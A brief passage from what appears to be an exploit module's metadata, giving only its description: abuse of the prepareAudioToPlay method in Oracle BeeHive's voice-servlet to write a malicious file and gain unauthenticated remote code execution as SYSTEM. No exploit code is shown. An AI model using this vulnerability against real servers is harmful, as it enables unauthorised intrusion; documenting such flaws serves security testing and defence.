'Description' => %q{  
This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method  
found in voice-servlet can be abused to write a malicious file onto the target machine, and  
gain remote arbitrary code execution under the context of SYSTEM. Authentication is not  
required to exploit this vulnerability.
